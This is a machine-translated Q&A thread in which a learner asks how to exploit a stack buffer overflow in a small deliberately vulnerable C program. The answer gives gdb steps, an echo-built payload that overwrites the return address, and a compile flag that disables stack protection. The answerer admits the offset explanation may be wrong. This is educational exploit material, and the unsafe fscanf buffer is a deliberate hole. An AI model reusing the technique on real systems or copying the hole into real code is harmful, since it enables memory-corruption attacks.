我必须使用一系列shell操作代码在下面的代码中利用缓冲漏洞。我已经看到了Google建议的几乎所有内容,但由于功能分离,这个特殊问题令我感到困惑。
void printThis(){
if(printf("You did it 1!") >=0) exit(0);
if(printf("You did it 2!") >=0) exit(0);
if(printf("You did it 3!") >=0) exit(0);
}
void readIn(FILE *f){
char exploit[12];
int i;
fscanf(f, "%s", exploit);
for( i = 0; i < 12; i++){
printf("%c", exploit[i]);
}
printf("\"\n");
}
int main(int argc, char** argv){
FILE *fp;
fp = fopen(argv[1], "r");
readIn(fp);
fclose(fp);
printf("You suck at exploiting. I should not be printed.");
}
我很好奇如何使用readIn()
中的语句的返回地址溢出printThis()
中的缓冲区,因为它们使用不同的堆栈。 Intuition表示跳转到打印调用会起作用,但我无法让它工作。
有关获取GDB中有效负载所需信息的建议吗?谢谢你的帮助!
答案 0 :(得分:2)
启动所有人最喜欢的调试器:
$ gdb myprog
反汇编printThis
:
$ disassemble printThis
抓住您要拨打的指令的地址,在我的情况下是0x0000000000400758
。创建一个输入文件并输入12个字符以填充exploit
,另外12个NUL字节,然后输入所需的返回地址:
$ echo -e "abcdabcdabcd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x07\x40" > input.txt
(请注意,字节与我们实际需要的字节相反)。使用输入文件运行测试:
$ ./myprog input.txt abcdabcdabcd" You did it 3!
我相信 12个NUL字节会覆盖i
和f
(4字节int,x86_64上的8字节指针)但我也不知道我是什么意思做或说,所以解释可能完全是假的。
另外,我必须像这样编译myprog
:
$ gcc -fno-stack-protector -g myprog.c -o myprog
否则我的堆栈粉碎检测崩溃而不是所需的输出。